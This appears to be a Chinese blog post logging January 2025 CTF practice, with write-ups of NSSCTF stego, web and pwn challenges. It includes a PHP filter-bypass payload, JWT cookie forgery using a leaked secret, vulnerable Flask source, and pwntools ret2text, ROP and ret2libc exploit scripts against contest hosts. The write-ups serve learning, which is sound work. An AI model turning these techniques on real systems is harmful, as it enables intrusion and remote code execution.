贰零贰伍年壹月刷题月记
说在前面
新年快乐鸭~~~
[{"url":"../../../../resources/images/Happy_NewYear/0b7d23bdbc3ae6bda5f75911910b322.jpg","alt":""},{"url":"../../../../resources/images/Happy_NewYear/4c5783164ee4fd8e1bd523f127fcbd1.jpg","alt":""},{"url":"../../../../resources/images/Happy_NewYear/9988384bada4385b0825334aac6fa58.jpg","alt":""},{"url":"../../../../resources/images/Happy_NewYear/a842f3e7c2b1abd487b2f713440ee3a.jpg","alt":""},{"url":"../../../../resources/images/Happy_NewYear/e3b2241014932255dce8eec549acb2f.jpg","alt":""},{"url":"../../../../resources/images/Happy_NewYear/8eb64b60aabb0c15103d883acd5012d.jpg","alt":""},{"url":"../../../../resources/images/Happy_NewYear/edd88de02275a3c4124466c029f6bf0.jpg","alt":""},{"url":"../../../../resources/images/Happy_NewYear/8ed90687cef734a994da5b7303932e3.jpg","alt":""}]
Misc
NSSCTF [羊城杯 2023 决赛] easy00aes
下载下来一个 png 文件, 在文件末尾处可以发现一个 zip 文件。
提取出来解压,发现有密码。
注意到文件名很像被 Base64 编码过的,解码即可得到压缩包密码:asddsa
解压可以得到 flag.jpg ( 实际为 png )和藏了零宽字符隐写的文本。
零宽字符藏了 AES 的 key :adsadwadsadad
png 有宽高隐写,藏了密文:1eu4+X0rAE79+rZQBxhAG7t85wcd20u0VfupQJx1H0Hm6HVnHQoLmW0M9D9i/yo9
( 这里 0 和 O 可能看不出,解密的时候多试几遍即可 )
由于 key 只有 13 位,选择用 00 补齐。
解密即可。

NSSCTF [西湖论剑 2022] mp3
常规套题
下载下来一个 mp3 文件,010 打开可以发现藏在文件尾部的 png 文件。
提取出来:

一眼鉴定为隐写藏了文件,stegsolver 随便选一个通道看一下:

zip 压缩包, 提取出来会发现有密码。
没有其他的信息,就回头研究一下 mp3 文件。
频谱图没有猫腻,盲狙一手 MP3stego,没有密码,提取出来:
回去解压,得到一段类似 Jsfuck 的玩意:
1
| a=~[];a={___:++a,aaaa:(![]+"")[a],__a:++a,a_a_:(![]+"")[a],_a_:++a,a_aa:({}+"")[a],aa_a:(a[a]+"")[a],_aa:++a,aaa_:(!""+"")[a],a__:++a,a_a:++a,aa__:({}+"")[a],aa_:++a,aaa:++a,a___:++a,a__a:++a};a.a_=(a.a_=a+"")[a.a_a]+(a._a=a.a_[a.__a])+(a.aa=(a.a+"")[a.__a])+((!a)+"")[a._aa]+(a.__=a.a_[a.aa_])+(a.a=(!""+"")[a.__a])+(a._=(!""+"")[a._a_])+a.a_[a.a_a]+a.__+a._a+a.a;a.aa=a.a+(!""+"")[a._aa]+a.__+a._+a.a+a.aa;a.a=(a.___)[a.a_][a.a_];a.a(a.a(a.aa+"\""+a.a_a_+(![]+"")[a._a_]+a.aaa_+"\\"+a.__a+a.aa_+a._a_+a.__+"(\\\"\\"+a.__a+a.___+a.a__+"\\"+a.__a+a.___+a.__a+"\\"+a.__a+a._a_+a._aa+"\\"+a.__a+a.___+a._aa+"\\"+a.__a+a._a_+a.a__+"\\"+a.__a+a.___+a.aa_+"{"+a.aaaa+a.a___+a.___+a.a__a+a.aaa+a._a_+a.a_a+a.aaa+a.aa_a+a.aa_+a.a__a+a.a__a+a.aa_a+a.aaa+a.aaaa+a.aa_a+a.a_aa+a.a_a_+a.aaa+a.aaa_+a.a__a+a.aaa+a.a_a_+a.__a+a.a_a+a.aa__+a.a__+a.aaaa+a.a__a+a.a__+a.a_aa+a.a__+"}\\\"\\"+a.a__+a.___+");"+"\"")())();
|
运行一下即可:
DASCTF{f8097257d699d7fdba7e97a15c4f94b4}
Web
NSSCTF [GHCTF 2024 新生赛] 理想国
题目给了一个 swagger 的 api 接口,召唤 Swagger UI 帮我审计:

先利用这个 api 注册一个用户登陆进去看看。

cookie 一眼 JWT ,先记在小本本上。
利用 search api 搜刮 flag ,但是常见位置都没有。
读环境变量呗:
解 1 :

两个信息:
-
JWT 的 Secret key 泄露了: B3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r
-
题目挂在 /app 目录下。
从响应包里得知题目是 flask ,访问 /app/app.py 得到源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| import json from flask import Flask, request, jsonify, send_file, render_template_string import jwt import requests from functools import wraps from datetime import datetime import os
app = Flask(__name__) app.config['TEMPLATES_RELOAD'] = True app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY') current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {'code': 0, 'message': 'failed', 'result': None} response1 = {'code': 1, 'message': 'success', 'result': current_time} response2 = {'code': 2, 'message': 'Invalid request parameters', 'result': None}
def auth(func): @wraps(func) def decorated(*args, **kwargs): token = request.cookies.get('token') if not token: return 'Invalid token', 401 try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) if payload['username'] == User.username and payload['password'] == User.password: return func(*args, **kwargs) else: return 'Invalid token', 401 except: return 'Something error?', 500 return decorated
def check(func): @wraps(func) def decorated(*args, **kwargs): token = request.cookies.get('token') if not token: return 'Invalid token', 401 try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) if payload['username'] == "Plato" and payload['password'] == "ideal_state": return func(*args, **kwargs) else: return 'You are not a sage. You cannot enter the ideal state.', 401 except: return 'Something error?', 500 return decorated
@app.route('/', methods=['GET']) def index(): return send_file('api-docs.json', mimetype='application/json;charset=utf-8')
@app.route('/enterIdealState', methods=['GET']) @check def getflag(): flag = os.popen("/readflag").read() return flag
@app.route('/api-base/v0/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.json['username'] if username == "Plato": return 'Your wisdom is not sufficient to be called a sage.', 401 password = request.json['password'] User.setUser(username, password) token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256') User.setToken(token) return jsonify(response1) return jsonify(response2), 400
@app.route('/api-base/v0/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.json['username'] password = request.json['password'] try: token = User.token payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) if payload['username'] == username and payload['password'] == password: response = jsonify(response1) response.set_cookie('token', token) return response else: return jsonify(response0), 401 except jwt.ExpiredSignatureError: return 'Invalid token', 401 except jwt.InvalidTokenError: return 'Invalid token', 401 return jsonify(response2), 400
@app.route('/api-base/v0/logout') def logout(): response = jsonify({'message': 'Logout successful!'}) response.delete_cookie('token') return response
@app.route('/api-base/v0/search', methods=['POST', 'GET']) @auth def api(): if request.args.get('file'): try: with open(request.args.get('file'), 'r') as file: data = file.read() return render_template_string(data)
except FileNotFoundError: return 'File not found', 404 except jwt.ExpiredSignatureError: return 'Invalid token', 401 except jwt.InvalidTokenError: return 'Invalid token', 401 except Exception: return 'something error?', 500 else: return jsonify(response2)
class MemUser: def setUser(self, username, password): self.username = username self.password = password
def setToken(self, token): self.token = token
def __init__(self): self.username = "admin" self.password = "password" self.token = jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')
if __name__ == '__main__': User = MemUser() app.run(host='0.0.0.0', port=8080)
|
审计,发现用特定用户访问 /enterIdealState 路由可以得到 flag 。
简单的 cookie 伪造,利用之前得到的 Secret key 即可。

解 2 :
其实读 /proc/1/environ 就可以了。

NSSCTF{0bff05c6-c571-4113-a7fa-8bc6bb473510}
NSSCTF [NCTF 2018]Easy_Audit
给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php highlight_file(__FILE__); error_reporting(0); if($_REQUEST){ foreach ($_REQUEST as $key => $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('waf..'); } }
if($_SERVER){ if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..'); }
if(isset($_GET['yulige'])){ if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ die('waf..'); }else{ if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){ $getflag = file_get_contents($_GET['flag']); } if(isset($getflag) && $getflag === 'ccc_liubi'){ include 'flag.php'; echo $flag; }else die('waf..'); } }
?>
|
一眼考 php 特性。
第一层 if($_REQUEST) 的判断可以利用 php GET 和 POST 同时传参,优先解析 POST 的参数的特性 bypass .
第二层 if($_SERVER) 的判断可以利用 $_SERVER['QUERY_STRING'] 返回的是未经过 URL 解码的内容 bypass .
第三层 if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))) 数组绕过即可 .
第四层 利用 data:// 伪协议传文本过去。
payload:
GET : yulig%65[]=1&nct%66=nct%66isfun%0a&fla%67=data://text/plain,ccc_liubi
POST : yulige=0&nctf=0&flag=0
Pwn
NSSCTF [GFCTF 2021] where_is_shell
麻了,$0 还能这样藏的😅
plt 里给了 system , main 里存在栈溢出 , tips 在 opcode 里藏了个 $0 也即 /bin/sh
ROPgadget 可以找出来控制 rdi 的 gadget , 再找个 ret 对齐一下 .
凑一下就出来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| from pwn import * from LibcSearcher import *
context(log_level = 'Debug', arch = 'amd64', os = 'linux')
io = remote('node4.anna.nssctf.cn', 28277)
sys_plt = 0x400430 bin_sh = 0x400541 pop_rdi_ret = 0x4005e3 ret = 0x400416
offset = 24
payload = flat([b'A' * offset, ret, pop_rdi_ret, bin_sh, sys_plt])
io.sendlineafter('it?', payload)
io.interactive()
|
NSSCTF{47c01ec2-2d70-492a-bd96-963f26effcc0}
NSSCTF [NSSCTF 2022 Spring Recruit] R3m4ke?
最简单的 ret2text .
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * from LibcSearcher import *
context(log_level = 'Debug', arch = 'amd64', os = 'linux')
io = remote('node4.anna.nssctf.cn', 28423)
backdoor_addr = 0x400730 ret = 0x40057e
offset = 40
payload = flat([b'A' * offset, backdoor_addr])
io.sendlineafter('started>', payload)
io.interactive()
|
NSSCTF [LitCTF 2023] 狠狠的溢出涅~
过于标准的 ret2libc .
要点就是老生常谈的 strlen 可以被 \x00 绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| from pwn import * from LibcSearcher import *
context(log_level = 'Debug', arch = 'amd64', os = 'linux')
io = remote('node4.anna.nssctf.cn', 28027) elf = ELF('./pwn4')
puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] start = elf.symbols['_start'] ret = 0x400556 rdi = 0x4007d3
offset1 = 0x67
leak = flat([b'\x00', b'A' * offset1, ret, rdi, puts_got, puts_plt, start]) io.sendlineafter("Leave your message:\n", leak)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr) libc_base_addr = puts_addr - libc.dump('puts') system_addr = libc_base_addr + libc.dump('system') binsh_addr = libc_base_addr + libc.dump('str_bin_sh')
payload = flat([b'\x00', b'A' * offset1, p64(ret), p64(rdi), p64(binsh_addr), p64(system_addr)]) io.sendlineafter('Leave your message:\n', payload)
io.interactive()
|
NSSCTF{u_r_master_of_stackoverflow_and_intoverflow}